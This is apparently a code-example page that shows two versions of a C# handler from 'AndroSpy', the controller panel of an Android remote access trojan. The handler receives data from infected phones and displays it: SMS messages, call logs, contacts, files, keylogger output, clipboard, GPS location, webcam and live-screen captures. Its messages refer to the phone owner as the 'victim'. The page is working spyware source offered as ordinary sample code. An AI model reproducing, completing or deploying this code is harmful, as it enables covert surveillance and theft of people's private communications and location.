예제 #1
0
        public void DataInvoke(Socket soket2, string data)
        {
            string[] ayir = data.Split(new[] { "[0x09]" }, StringSplitOptions.None);
            foreach (string str in ayir)
            {
                string[] s = str.Split(new[] { "[VERI]" }, StringSplitOptions.None);
                try
                {
                    switch (s[0])
                    {
                    case "IP":
                        Invoke((MethodInvoker) delegate
                        {
                            Ekle(soket2, soket2.Handle.ToString(), s[1], s[2], s[3], s[4]);
                        });
                        break;

                    case "CAMREADY":
                        if (FİndKameraById(soket2.Handle.ToString()) != null)
                        {
                            var _shortcam_ = FİndKameraById(soket2.Handle.ToString());
                            _shortcam_.button4.Text = "Start"; _shortcam_.button4.Enabled = true;
                            ((Control)_shortcam_.tabControl1.TabPages[0]).Enabled = true;
                            _shortcam_.enabled = false; _shortcam_.label10.Text = "Fps: 0";
                        }
                        break;

                    case "VID":
                        try
                        {
                            var shortcam = FİndKameraById(soket2.Handle.ToString());
                            if (shortcam != null)
                            {
                                shortcam.pictureBox2.Image = RotateImage((Image) new ImageConverter().ConvertFrom(Convert.FromBase64String(s[1])));
                                shortcam.label10.Text      = "Fps: " + shortcam.CalculateFrameRate().ToString();
                            }
                        }
                        catch (Exception ex) { FİndKameraById(soket2.Handle.ToString()).Text = ex.Message; }
                        break;

                    case "SHORTCUT":
                        Eglence eglnc = FindEglenceById(soket2.Handle.ToString());
                        if (eglnc == null)
                        {
                            Invoke((MethodInvoker) delegate
                            {
                                eglnc = new Eglence(soket2, soket2.Handle.ToString());
                                eglnc.Show();
                            });
                        }
                        MessageBox.Show(eglnc, s[1], "Sonuç", MessageBoxButtons.OK, MessageBoxIcon.Information);
                        break;

                    case "OLCULER":
                        Invoke((MethodInvoker) delegate
                        {
                            if (s[1].Contains("Kameraya"))
                            {
                                MessageBox.Show(this, s[1] + "\nThis error causes when camera is used by victim.", "Can't access to Camera", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
                            }
                            else
                            {
                                if (FİndKameraById(soket2.Handle.ToString()) == null)
                                {
                                    Kamera msj = new Kamera(soket2, soket2.Handle.ToString());
                                    msj.Show();
                                }
                                FİndKameraById(soket2.Handle.ToString()).comboBox1.Items.Clear();
                                FİndKameraById(soket2.Handle.ToString()).comboBox2.Items.Clear();
                                string[] front  = s[1].Split('>');
                                string[] _split = front[1].Split('<');
                                FİndKameraById(soket2.Handle.ToString()).max = int.Parse(s[2].Split('}')[1]);
                                FİndKameraById(soket2.Handle.ToString()).comboBox1.Items.AddRange(_split);
                                _split = front[0].Split('<');
                                FİndKameraById(soket2.Handle.ToString()).comboBox2.Items.AddRange(_split);
                                var found         = FİndKameraById(soket2.Handle.ToString());
                                found.zoomSupport = Convert.ToBoolean(s[2].Split('}')[0]);

                                string[] presize = s[3].Split('<'); found.comboBox4.Items.AddRange(presize);
                                string[] cams    = s[4].Split('!'); for (int p = 0; p < cams.Length; p++)
                                {
                                    cams[p] = cams[p].Replace("0", "Back: 0").Replace("1", "Front: 1");
                                }
                                found.comboBox6.Items.AddRange(cams);
                                found.comboBox6.SelectedIndex = 0;
                                foreach (string str_ in found.comboBox1.Items)
                                {
                                    if (int.Parse(str_.Split('x')[0]) < 800 && int.Parse(str_.Split('x')[0]) > 500)
                                    {
                                        found.comboBox1.SelectedItem = str_; break;
                                    }
                                }
                                foreach (string str_ in found.comboBox2.Items)
                                {
                                    if (int.Parse(str_.Split('x')[0]) < 800 && int.Parse(str_.Split('x')[0]) > 500)
                                    {
                                        found.comboBox2.SelectedItem = str_; break;
                                    }
                                }
                                foreach (object str_ in found.comboBox4.Items)
                                {
                                    if (str_.ToString().Contains("352"))
                                    {
                                        found.comboBox4.SelectedItem = str_;
                                    }
                                }
                                found.comboBox3.SelectedItem = "%70";
                            }
                        });
                        break;

                    case "CAMNOT":
                        var fnd = FİndKameraById(soket2.Handle.ToString());
                        if (fnd != null)
                        {
                            FİndKameraById(soket2.Handle.ToString()).label2.Text     = "Çekilemedi.";
                            FİndKameraById(soket2.Handle.ToString()).label1.Visible  = true;
                            FİndKameraById(soket2.Handle.ToString()).button1.Enabled = true;
                            ((Control)fnd.tabPage1).Enabled = true;
                            ((Control)fnd.tabPage2).Enabled = true;
                            fnd.enabled         = false;
                            fnd.button4.Text    = "Start";
                            fnd.button4.Enabled = true;
                        }
                        break;

                    case "SMSLOGU":
                        if (FindSMSFormById(soket2.Handle.ToString()) == null)
                        {
                            Invoke((MethodInvoker) delegate
                            {
                                SMSYoneticisi sMS = new SMSYoneticisi(soket2, soket2.Handle.ToString());
                                sMS.Show();
                            });
                        }
                        FindSMSFormById(soket2.Handle.ToString()).bilgileriIsle(s[1]);
                        break;

                    case "CAGRIKAYITLARI":
                        if (FindCagriById(soket2.Handle.ToString()) == null)
                        {
                            Invoke((MethodInvoker) delegate
                            {
                                CagriKayitlari sMS = new CagriKayitlari(soket2, soket2.Handle.ToString());
                                sMS.Show();
                            });
                        }
                        FindCagriById(soket2.Handle.ToString()).bilgileriIsle(s[1]);
                        break;

                    case "REHBER":
                        if (FindRehberById(soket2.Handle.ToString()) == null)
                        {
                            Invoke((MethodInvoker) delegate
                            {
                                Rehber sMS = new Rehber(soket2, soket2.Handle.ToString());
                                sMS.Show();
                            });
                        }
                        FindRehberById(soket2.Handle.ToString()).bilgileriIsle(s[1]);
                        break;

                    case "APPS":
                        if (FindUygulamalarById(soket2.Handle.ToString()) == null)
                        {
                            Invoke((MethodInvoker) delegate
                            {
                                Uygulamalar eglence = new Uygulamalar(soket2, soket2.Handle.ToString());
                                eglence.Show();
                            });
                        }
                        FindUygulamalarById(soket2.Handle.ToString()).bilgileriIsle(s[1]);
                        break;

                    case "DOSYAALINDI":
                        FindFileManagerById(soket2.Handle.ToString()).timer1.Enabled = false; FindFileManagerById(soket2.Handle.ToString()).count = 0;
                        FindFileManagerById(soket2.Handle.ToString()).Text           = "Dosya Yöneticisi";
                        MessageBox.Show(FindFileManagerById(soket2.Handle.ToString()), "İsimli kurbanınızda dosya başarılı bir şekilde kaydedildi.", s[1], MessageBoxButtons.OK, MessageBoxIcon.Information);
                        break;

                    case "WEBCAM":
                        if (FİndKameraById(soket2.Handle.ToString()) == null)
                        {
                            Invoke((MethodInvoker) delegate
                            {
                                Kamera msj = new Kamera(soket2, soket2.Handle.ToString());
                                msj.Show();
                            });
                        }
                        try
                        {
                            FİndKameraById(soket2.Handle.ToString()).label2.Text = "Çekildi.";
                            byte[] resim = Convert.FromBase64String(s[1]);
                            using (MemoryStream ms = new MemoryStream(resim))
                            {
                                FİndKameraById(soket2.Handle.ToString()).pictureBox1.Image = Image.FromStream(ms);
                            }
                            FİndKameraById(soket2.Handle.ToString()).button1.Enabled             = true;
                            ((Control)FİndKameraById(soket2.Handle.ToString()).tabPage2).Enabled = true;
                        }
                        catch (Exception ex)
                        {
                            MessageBox.Show(FİndKameraById(soket2.Handle.ToString()), ex.Message);
                            FİndKameraById(soket2.Handle.ToString()).Text = "Kamera " + ex.Message;
                        }
                        break;

                    case "FILES":
                        if (FindFileManagerById(soket2.Handle.ToString()) == null)
                        {
                            Invoke((MethodInvoker) delegate
                            {
                                fmanger = new FİleManager(soket2, soket2.Handle.ToString());
                                fmanger.Show();
                            });
                        }
                        FindFileManagerById(soket2.Handle.ToString()).bilgileriIsle(s[1], s[2]);
                        break;

                    case "PREVIEW":
                        if (FindFileManagerById(soket2.Handle.ToString()) == null)
                        {
                            Invoke((MethodInvoker) delegate
                            {
                                fmanger = new FİleManager(soket2, soket2.Handle.ToString());
                                fmanger.Show();
                            });
                        }
                        Invoke((MethodInvoker) delegate
                        {
                            FindFileManagerById(soket2.Handle.ToString()).pictureBox1.Image =
                                (Image) new ImageConverter().ConvertFrom(Convert.FromBase64String(s[1]));
                            FindFileManagerById(soket2.Handle.ToString()).pictureBox1.Visible = true;
                        });
                        break;

                    case "UZUNLUK":
                        string dosyaAdi = s[2];
                        if (!Directory.Exists(Environment.CurrentDirectory + "\\Klasörler\\İndirilenler\\" + s[3]))
                        {
                            Directory.CreateDirectory(Environment.CurrentDirectory + "\\Klasörler\\İndirilenler\\" + s[3]);
                        }
                        try
                        {
                            File.WriteAllBytes(Environment.CurrentDirectory + "\\Klasörler\\İndirilenler\\" + s[3] + "\\"
                                               + s[2], Convert.FromBase64String(s[1]));
                        }
                        catch (Exception ex) { MessageBox.Show(ex.Message); }
                        FindFileManagerById(soket2.Handle.ToString()).timer1.Enabled = false; FindFileManagerById(soket2.Handle.ToString()).count = 0;
                        FindFileManagerById(soket2.Handle.ToString()).Text           = "Dosya Yöneticisi";
                        MessageBox.Show(FindFileManagerById(soket2.Handle.ToString()), "Dosya indi", "İndirme Tamamlandı", MessageBoxButtons.OK,
                                        MessageBoxIcon.Information);
                        break;

                    case "CHAR":
                        try
                        {
                            FindKeyloggerManagerById(soket2.Handle.ToString()).textBox1.Text += s[1].Replace("[NEW_LINE]", Environment.NewLine)
                                                                                                + Environment.NewLine;
                        }
                        catch (Exception) { }
                        break;

                    case "LOGDOSYA":
                        try
                        {
                            if (FindKeyloggerManagerById(soket2.Handle.ToString()) == null)
                            {
                                Invoke((MethodInvoker) delegate
                                {
                                    Keylogger keylog = new Keylogger(soket2, soket2.Handle.ToString());
                                    keylog.Show();
                                });
                            }
                            if (s[1] == "LOG_YOK")
                            {
                                FindKeyloggerManagerById(soket2.Handle.ToString()).comboBox1.Items.Add("Log yok.");
                            }
                            else
                            {
                                string   ok       = s[1];
                                string[] ayristir = ok.Split('=');
                                for (int i = 0; i < ayristir.Length; i++)
                                {
                                    FindKeyloggerManagerById(soket2.Handle.ToString()).comboBox1.Items.Add(ayristir[i]);
                                }
                            }
                        }
                        catch (Exception) { }
                        break;

                    case "KEYGONDER":
                        string ok_ = s[1];
                        FindKeyloggerManagerById(soket2.Handle.ToString()).textBox2.Text = ok_.Replace("[NEW_LINE]", Environment.NewLine);
                        break;

                    case "SESBILGILERI":
                        if (FindAyarlarById(soket2.Handle.ToString()) == null)
                        {
                            Invoke((MethodInvoker) delegate
                            {
                                Ayarlar sMS = new Ayarlar(soket2, soket2.Handle.ToString());
                                sMS.Show();
                            });
                        }
                        FindAyarlarById(soket2.Handle.ToString()).bilgileriIsle(s[1]);
                        break;

                    case "TELEFONBILGI":
                        if (FindBilgiById(soket2.Handle.ToString()) == null)
                        {
                            Invoke((MethodInvoker) delegate
                            {
                                Bilgiler eglence = new Bilgiler(soket2, soket2.Handle.ToString());
                                eglence.Show();
                            });
                        }
                        var shorted = FindBilgiById(soket2.Handle.ToString());
                        shorted.bilgileriIsle(s[1], s[2], s[3], s[6], s[5], s[7], s[8]);
                        break;

                    case "PANOGELDI":
                        try
                        {
                            if (FindTelephonFormById(soket2.Handle.ToString()) == null)
                            {
                                Invoke((MethodInvoker) delegate
                                {
                                    Telefon tlf = new Telefon(soket2, soket2.Handle.ToString());
                                    tlf.Show();
                                });
                            }
                            string icerik = s[1];
                            if (icerik != "[NULL]")
                            {
                                FindTelephonFormById(soket2.Handle.ToString()).textBox4.Text = icerik;
                            }
                            else
                            {
                                FindTelephonFormById(soket2.Handle.ToString()).textBox4.Text = string.Empty;
                            }
                        }
                        catch (Exception) { }
                        break;

                    case "WALLPAPERBYTES":
                        try
                        {
                            if (FindTelephonFormById(soket2.Handle.ToString()) == null)
                            {
                                Invoke((MethodInvoker) delegate
                                {
                                    Telefon tlf = new Telefon(soket2, soket2.Handle.ToString());
                                    tlf.Show();
                                });
                            }
                            FindTelephonFormById(soket2.Handle.ToString()).label4.Text = "Ekran Çözünürlüğü\n" + s[2];
                            FindTelephonFormById(soket2.Handle.ToString()).pictureBox1.Image
                                = (Image) new ImageConverter().ConvertFrom(Convert.FromBase64String(s[1]));
                        }
                        catch (Exception) { }
                        break;

                    case "LOCATION":
                        if (FindKonumById(soket2.Handle.ToString()) == null)
                        {
                            Invoke((MethodInvoker) delegate
                            {
                                Konum knm = new Konum(soket2, soket2.Handle.ToString());
                                knm.Show();
                            });
                        }
                        FindKonumById(soket2.Handle.ToString()).richTextBox1.Text = string.Empty;
                        string[] ayr = s[1].Split('=');
                        for (int i = 0; i < ayr.Length; i++)
                        {
                            if (ayr[i].Contains("{"))
                            {
                                string[] url = ayr[i].Split('{');
                                ayr[i] = $"http://maps.google.com/maps?q={url[0].Replace(','.ToString(), '.'.ToString())},{url[1].Replace(','.ToString(), '.'.ToString())}";
                            }
                            FindKonumById(soket2.Handle.ToString()).richTextBox1.Text += ayr[i] + Environment.NewLine;
                        }
                        break;

                    case "ARAMA":
                        try
                        {
                            ListViewItem lvi = listView1.Items.Cast <ListViewItem>().Where(items => items.Text ==
                                                                                           soket2.Handle.ToString()).First();
                            Invoke((MethodInvoker) delegate
                            {
                                new YeniArama(s[1].Split('=')[1], s[1].Split('=')[0], lvi.SubItems[1].Text + "@" + soket2.RemoteEndPoint.ToString(), soket2.Handle.ToString()).Show();
                            });
                        }
                        catch (Exception) { }
                        break;

                    case "INDIRILDI":
                        try
                        {
                            var window = FindDownloadManagerById(soket2.Handle.ToString());
                            MessageBox.Show(window, s[1], "Dosyanızın İndirtme Sonucu", MessageBoxButtons.OK, MessageBoxIcon.Information);
                        }
                        catch (Exception) { }
                        break;

                    case "RECSMS":
                        Invoke((MethodInvoker) delegate
                        {
                            smsgeldi smsgeldi = new smsgeldi(s[1] + "/" + s[2], s[3], s[4]);
                            smsgeldi.Show();
                        });
                        break;
                    }
                }
                catch (Exception) { }
            }
        }
예제 #2
0
파일: Form1.cs 프로젝트: nanduni12/AndroSpy
        public void DataInvoke(Socket soket2, string data)
        {
            string[] ayir = data.Split(new[] { "[0x09]" }, StringSplitOptions.None);
            foreach (string str in ayir)
            {
                string[] s = str.Split(new[] { "[VERI]" }, StringSplitOptions.None);
                try
                {
                    switch (s[0])
                    {
                    case "IP":
                        Invoke((MethodInvoker) delegate
                        {
                            Ekle(soket2, soket2.Handle.ToString(), s[1], s[2], s[3], s[4]);
                        });
                        break;

                    case "CAMREADY":
                        if (FİndKameraById(soket2.Handle.ToString()) != null)
                        {
                            var _shortcam_ = FİndKameraById(soket2.Handle.ToString());
                            _shortcam_.button4.Text = "Start"; _shortcam_.button4.Enabled = true;
                            ((Control)_shortcam_.tabControl1.TabPages[0]).Enabled = true;
                            _shortcam_.enabled = false; _shortcam_.label10.Text = "Fps: 0";
                        }
                        break;

                    case "VID":
                        try
                        {
                            var shortcam = FİndKameraById(soket2.Handle.ToString());
                            if (shortcam != null)
                            {
                                shortcam.pictureBox2.Image = RotateImage((Image) new ImageConverter().ConvertFrom(Convert.FromBase64String(s[1])));
                                shortcam.label10.Text      = "Fps: " + shortcam.CalculateFrameRate().ToString();
                            }
                        }
                        catch (Exception ex) { FİndKameraById(soket2.Handle.ToString()).Text = ex.Message; }
                        break;

                    case "SHORTCUT":
                        Eglence eglnc = FindEglenceById(soket2.Handle.ToString());
                        if (eglnc == null)
                        {
                            Invoke((MethodInvoker) delegate
                            {
                                eglnc = new Eglence(soket2, soket2.Handle.ToString());
                                eglnc.Show();
                            });
                        }
                        MessageBox.Show(eglnc, s[1], "Status", MessageBoxButtons.OK, MessageBoxIcon.Information);
                        break;

                    case "OLCULER":
                        Invoke((MethodInvoker) delegate
                        {
                            if (s[1].Contains("Kameraya"))
                            {
                                MessageBox.Show(this, s[1] + "\nThis error causes when camera is used by victim.", "Can't access to Camera", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
                            }
                            else
                            {
                                if (FİndKameraById(soket2.Handle.ToString()) == null)
                                {
                                    Kamera msj = new Kamera(soket2, soket2.Handle.ToString());
                                    msj.Text   = "Camera Manager - " + krbnIsminiBul(soket2.Handle.ToString());
                                    msj.Show();
                                }
                                FİndKameraById(soket2.Handle.ToString()).comboBox1.Items.Clear();
                                FİndKameraById(soket2.Handle.ToString()).comboBox2.Items.Clear();
                                string[] front  = s[1].Split('>');
                                string[] _split = front[1].Split('<');
                                FİndKameraById(soket2.Handle.ToString()).max = int.Parse(s[2].Split('}')[1]);
                                FİndKameraById(soket2.Handle.ToString()).comboBox1.Items.AddRange(_split);
                                _split = front[0].Split('<');
                                FİndKameraById(soket2.Handle.ToString()).comboBox2.Items.AddRange(_split);
                                var found         = FİndKameraById(soket2.Handle.ToString());
                                found.zoomSupport = Convert.ToBoolean(s[2].Split('}')[0]);

                                string[] presize = s[3].Split('<'); found.comboBox4.Items.AddRange(presize);
                                string[] cams    = s[4].Split('!'); for (int p = 0; p < cams.Length; p++)
                                {
                                    cams[p] = cams[p].Replace("0", "Back: 0").Replace("1", "Front: 1");
                                }
                                found.comboBox6.Items.AddRange(cams);
                                found.comboBox6.SelectedIndex = 0;
                                foreach (string str_ in found.comboBox1.Items)
                                {
                                    if (int.Parse(str_.Split('x')[0]) < 800 && int.Parse(str_.Split('x')[0]) > 500)
                                    {
                                        found.comboBox1.SelectedItem = str_; break;
                                    }
                                }
                                foreach (string str_ in found.comboBox2.Items)
                                {
                                    if (int.Parse(str_.Split('x')[0]) < 800 && int.Parse(str_.Split('x')[0]) > 500)
                                    {
                                        found.comboBox2.SelectedItem = str_; break;
                                    }
                                }
                                foreach (object str_ in found.comboBox4.Items)
                                {
                                    if (str_.ToString().Contains("352"))
                                    {
                                        found.comboBox4.SelectedItem = str_;
                                    }
                                }
                                found.comboBox3.SelectedItem = "%70";
                            }
                        });
                        break;

                    case "CAMNOT":
                        var fnd = FİndKameraById(soket2.Handle.ToString());
                        if (fnd != null)
                        {
                            Invoke((MethodInvoker) delegate
                            {
                                if (s[1] == "")
                                {
                                    FİndKameraById(soket2.Handle.ToString()).label2.Text = "Couldn't capture.";
                                }
                                FİndKameraById(soket2.Handle.ToString()).label1.Visible  = true;
                                FİndKameraById(soket2.Handle.ToString()).button1.Enabled = true;
                                ((Control)fnd.tabPage1).Enabled = true;
                                ((Control)fnd.tabPage2).Enabled = true;
                                fnd.enabled         = false;
                                fnd.button4.Text    = "Start";
                                fnd.button4.Enabled = true;
                            });
                            if (s[1] != "" && s[1] != "vid")
                            {
                                MessageBox.Show(fnd, s[1], "Warning - Camera Preview Error", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
                            }
                        }
                        break;

                    case "SMSLOGU":
                        if (FindSMSFormById(soket2.Handle.ToString()) == null)
                        {
                            Invoke((MethodInvoker) delegate
                            {
                                SMSYoneticisi sMS = new SMSYoneticisi(soket2, soket2.Handle.ToString());
                                sMS.Text          = "SMS Manager - " + krbnIsminiBul(soket2.Handle.ToString());
                                sMS.Show();
                            });
                        }
                        FindSMSFormById(soket2.Handle.ToString()).bilgileriIsle(s[1]);
                        break;

                    case "CAGRIKAYITLARI":
                        if (FindCagriById(soket2.Handle.ToString()) == null)
                        {
                            Invoke((MethodInvoker) delegate
                            {
                                CagriKayitlari sMS = new CagriKayitlari(soket2, soket2.Handle.ToString());
                                sMS.Text           = "Call Logs - " + krbnIsminiBul(soket2.Handle.ToString());;
                                sMS.Show();
                            });
                        }
                        FindCagriById(soket2.Handle.ToString()).bilgileriIsle(s[1]);
                        break;

                    case "REHBER":
                        if (FindRehberById(soket2.Handle.ToString()) == null)
                        {
                            Invoke((MethodInvoker) delegate
                            {
                                Rehber sMS = new Rehber(soket2, soket2.Handle.ToString());
                                sMS.Text   = "Adress Book - " + krbnIsminiBul(soket2.Handle.ToString());
                                sMS.Show();
                            });
                        }
                        FindRehberById(soket2.Handle.ToString()).bilgileriIsle(s[1]);
                        break;

                    case "APPS":
                        if (FindUygulamalarById(soket2.Handle.ToString()) == null)
                        {
                            Invoke((MethodInvoker) delegate
                            {
                                Uygulamalar eglence = new Uygulamalar(soket2, soket2.Handle.ToString());
                                eglence.Text        = "Installed Apps - " + krbnIsminiBul(soket2.Handle.ToString());
                                eglence.Show();
                            });
                        }
                        FindUygulamalarById(soket2.Handle.ToString()).bilgileriIsle(s[1]);
                        break;

                    case "DOSYAALINDI":
                        if (FindFileManagerById(soket2.Handle.ToString()) != null)
                        {
                            FindFileManagerById(soket2.Handle.ToString()).toolStripProgressBar1.Style = ProgressBarStyle.Blocks; FindFileManagerById(soket2.Handle.ToString()).toolStripStatusLabel1.Text = "...";
                            FindFileManagerById(soket2.Handle.ToString()).Text = "File Manager - " + krbnIsminiBul(soket2.Handle.ToString());
                            MessageBox.Show(FindFileManagerById(soket2.Handle.ToString()), "File has been successfully received.", s[1], MessageBoxButtons.OK, MessageBoxIcon.Information);
                        }
                        else
                        {
                            MessageBox.Show(this, "File has been successfully received.", s[1], MessageBoxButtons.OK, MessageBoxIcon.Information);
                        }
                        break;

                    case "WEBCAM":
                        if (FİndKameraById(soket2.Handle.ToString()) != null)
                        {
                            try
                            {
                                FİndKameraById(soket2.Handle.ToString()).label2.Text = "Captured.";
                                byte[] resim = Convert.FromBase64String(s[1]);
                                using (MemoryStream ms = new MemoryStream(resim))
                                {
                                    FİndKameraById(soket2.Handle.ToString()).pictureBox1.Image = Image.FromStream(ms);
                                }
                                FİndKameraById(soket2.Handle.ToString()).button1.Enabled             = true;
                                ((Control)FİndKameraById(soket2.Handle.ToString()).tabPage2).Enabled = true;
                            }
                            catch (Exception ex)
                            {
                                MessageBox.Show(FİndKameraById(soket2.Handle.ToString()), ex.Message, "Camera Manager - " + krbnIsminiBul(soket2.Handle.ToString()), MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                FİndKameraById(soket2.Handle.ToString()).Text = "Camera Manager - " + krbnIsminiBul(soket2.Handle.ToString());
                            }
                        }
                        break;

                    case "FILES":
                        if (FindFileManagerById(soket2.Handle.ToString()) == null)
                        {
                            Invoke((MethodInvoker) delegate
                            {
                                fmanger      = new FİleManager(soket2, soket2.Handle.ToString());
                                fmanger.Text = "File Manager - " + krbnIsminiBul(soket2.Handle.ToString());
                                fmanger.Show();
                            });
                        }
                        FindFileManagerById(soket2.Handle.ToString()).bilgileriIsle(s[1], s[2]);
                        break;

                    case "PREVIEW":
                        if (FindFileManagerById(soket2.Handle.ToString()) != null)
                        {
                            Invoke((MethodInvoker) delegate
                            {
                                FindFileManagerById(soket2.Handle.ToString()).pictureBox1.Image =
                                    (Image) new ImageConverter().ConvertFrom(Convert.FromBase64String(s[1]));
                                FindFileManagerById(soket2.Handle.ToString()).pictureBox1.Visible = true;
                            });
                        }
                        break;

                    case "UZUNLUK":
                        var    fman     = FindFileManagerById(soket2.Handle.ToString());
                        string dosyaAdi = s[2];
                        if (!Directory.Exists(Environment.CurrentDirectory + "\\Klasörler\\İndirilenler\\" + s[3]))
                        {
                            Directory.CreateDirectory(Environment.CurrentDirectory + "\\Klasörler\\İndirilenler\\" + s[3]);
                        }
                        try
                        {
                            File.WriteAllBytes(Environment.CurrentDirectory + "\\Klasörler\\İndirilenler\\" + s[3] + "\\"
                                               + s[2], Convert.FromBase64String(s[1]));
                        }
                        catch (Exception ex)
                        {
                            if (fman != null)
                            {
                                MessageBox.Show(FindFileManagerById(soket2.Handle.ToString()), ex.Message, "Download Warning " + krbnIsminiBul(soket2.Handle.ToString()), MessageBoxButtons.OK, MessageBoxIcon.Warning);
                            }
                        }
                        if (fmanger != null)
                        {
                            FindFileManagerById(soket2.Handle.ToString()).toolStripProgressBar1.Style = ProgressBarStyle.Blocks; FindFileManagerById(soket2.Handle.ToString()).toolStripStatusLabel1.Text = "...";
                            FindFileManagerById(soket2.Handle.ToString()).Text = "File Manager - " + krbnIsminiBul(soket2.Handle.ToString());;
                            MessageBox.Show(FindFileManagerById(soket2.Handle.ToString()), "File Downloaded", "File downloaded successfully", MessageBoxButtons.OK,
                                            MessageBoxIcon.Information);
                        }
                        break;

                    case "CHAR":
                        try
                        {
                            FindKeyloggerManagerById(soket2.Handle.ToString()).textBox1.Text += s[1].Replace("[NEW_LINE]", Environment.NewLine)
                                                                                                + Environment.NewLine;
                        }
                        catch (Exception) { }
                        break;

                    case "LOGDOSYA":
                        try
                        {
                            if (FindKeyloggerManagerById(soket2.Handle.ToString()) == null)
                            {
                                Invoke((MethodInvoker) delegate
                                {
                                    Keylogger keylog = new Keylogger(soket2, soket2.Handle.ToString());
                                    keylog.Text      = "Keylogger - " + krbnIsminiBul(soket2.Handle.ToString());
                                    keylog.Show();
                                });
                            }
                            if (s[1] == "LOG_YOK")
                            {
                                FindKeyloggerManagerById(soket2.Handle.ToString()).comboBox1.Items.Add("No logs.");
                            }
                            else
                            {
                                string   ok       = s[1];
                                string[] ayristir = ok.Split('=');
                                for (int i = 0; i < ayristir.Length; i++)
                                {
                                    FindKeyloggerManagerById(soket2.Handle.ToString()).comboBox1.Items.Add(ayristir[i]);
                                }
                            }
                        }
                        catch (Exception) { }
                        break;

                    case "KEYGONDER":
                        string ok_ = s[1];
                        FindKeyloggerManagerById(soket2.Handle.ToString()).textBox2.Text = ok_.Replace("[NEW_LINE]", Environment.NewLine);
                        break;

                    case "SESBILGILERI":
                        if (FindAyarlarById(soket2.Handle.ToString()) == null)
                        {
                            Invoke((MethodInvoker) delegate
                            {
                                Ayarlar sMS = new Ayarlar(soket2, soket2.Handle.ToString());
                                sMS.Text    = "Settings - " + krbnIsminiBul(soket2.Handle.ToString());
                                sMS.Show();
                            });
                        }
                        FindAyarlarById(soket2.Handle.ToString()).bilgileriIsle(s[1]);
                        break;

                    case "TELEFONBILGI":
                        if (FindBilgiById(soket2.Handle.ToString()) == null)
                        {
                            Invoke((MethodInvoker) delegate
                            {
                                Bilgiler eglence = new Bilgiler(soket2, soket2.Handle.ToString());
                                eglence.Text     = "Infos - " + krbnIsminiBul(soket2.Handle.ToString());
                                eglence.Show();
                            });
                        }
                        var shorted = FindBilgiById(soket2.Handle.ToString());
                        shorted.bilgileriIsle(s[1], s[2], s[3], s[6], s[5], s[7], s[8]);
                        break;

                    case "PANOGELDI":
                        try
                        {
                            if (FindTelephonFormById(soket2.Handle.ToString()) != null)
                            {
                                string icerik = s[1];
                                if (icerik != "[NULL]")
                                {
                                    FindTelephonFormById(soket2.Handle.ToString()).textBox4.Text = icerik;
                                }
                                else
                                {
                                    FindTelephonFormById(soket2.Handle.ToString()).textBox4.Text = string.Empty;
                                }
                            }
                        }
                        catch (Exception) { }
                        break;

                    case "WALLPAPERBYTES":
                        try
                        {
                            if (FindTelephonFormById(soket2.Handle.ToString()) != null)
                            {
                                FindTelephonFormById(soket2.Handle.ToString()).label4.Text = "Screen Resolution\n" + s[2];
                                FindTelephonFormById(soket2.Handle.ToString()).pictureBox1.Image
                                    = (Image) new ImageConverter().ConvertFrom(Convert.FromBase64String(s[1]));
                            }
                        }
                        catch (Exception) { }
                        break;

                    case "LOCATION":
                        if (FindKonumById(soket2.Handle.ToString()) == null)
                        {
                            Invoke((MethodInvoker) delegate
                            {
                                Konum knm = new Konum(soket2, soket2.Handle.ToString());
                                knm.Text  = "Location - " + krbnIsminiBul(soket2.Handle.ToString());
                                knm.Show();
                            });
                        }
                        FindKonumById(soket2.Handle.ToString()).richTextBox1.Text = string.Empty;
                        string[] ayr = s[1].Split('=');
                        for (int i = 0; i < ayr.Length; i++)
                        {
                            if (ayr[i].Contains("{"))
                            {
                                string[] url = ayr[i].Split('{');
                                ayr[i] = $"http://maps.google.com/maps?q={url[0].Replace(','.ToString(), '.'.ToString())},{url[1].Replace(','.ToString(), '.'.ToString())}";
                            }
                            FindKonumById(soket2.Handle.ToString()).richTextBox1.Text += ayr[i] + Environment.NewLine;
                        }
                        break;

                    case "ARAMA":
                        try
                        {
                            ListViewItem lvi = listView1.Items.Cast <ListViewItem>().Where(items => items.Text ==
                                                                                           soket2.Handle.ToString()).First();
                            Invoke((MethodInvoker) delegate
                            {
                                new YeniArama(s[1].Split('=')[1], s[1].Split('=')[0], lvi.SubItems[1].Text + "@" + soket2.RemoteEndPoint.ToString(), soket2.Handle.ToString()).Show();
                            });
                        }
                        catch (Exception) { }
                        break;

                    case "INDIRILDI":
                        try
                        {
                            var window = FindDownloadManagerById(soket2.Handle.ToString());
                            if (window != null)
                            {
                                MessageBox.Show(window, s[1], "Status of Download", MessageBoxButtons.OK, MessageBoxIcon.Information);
                            }
                            else
                            {
                                MessageBox.Show(s[1], "Status of Download", MessageBoxButtons.OK, MessageBoxIcon.Information);
                            }
                        }
                        catch (Exception) { }
                        break;

                    case "RECSMS":
                        Invoke((MethodInvoker) delegate
                        {
                            smsgeldi smsgeldi = new smsgeldi(s[1] + "/" + s[2], s[3], s[4]);
                            smsgeldi.Text     = "New SMS! - " + krbnIsminiBul(soket2.Handle.ToString());
                            smsgeldi.Show();
                        });
                        break;

                    case "WALLERROR":
                        var _phone_ = FindTelephonFormById(soket2.Handle.ToString());
                        if (_phone_ != null)
                        {
                            MessageBox.Show(_phone_, s[1], "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                        }
                        break;

                    case "LIVESCREEN":
                        var canliekran = FindLiveScreenById(soket2.Handle.ToString());
                        if (canliekran != null)
                        {
                            canliekran.pictureBox1.Image = ((Image) new ImageConverter().ConvertFrom(Convert.FromBase64String(s[1])));
                        }
                        else
                        {
                            KomutGonder("SCREENLIVECLOSE", "[VERI][0x09]", soket2);
                        }
                        break;

                    case "NOTSTART":
                        var canliekran_ = FindLiveScreenById(soket2.Handle.ToString());
                        if (canliekran_ != null)
                        {
                            MessageBox.Show(canliekran_, "Victim has ignored the screen share dialog.", "Info", MessageBoxButtons.OK, MessageBoxIcon.Information);
                            canliekran_.Close();
                        }
                        break;
                    }
                }
                catch (Exception) { }
            }
        }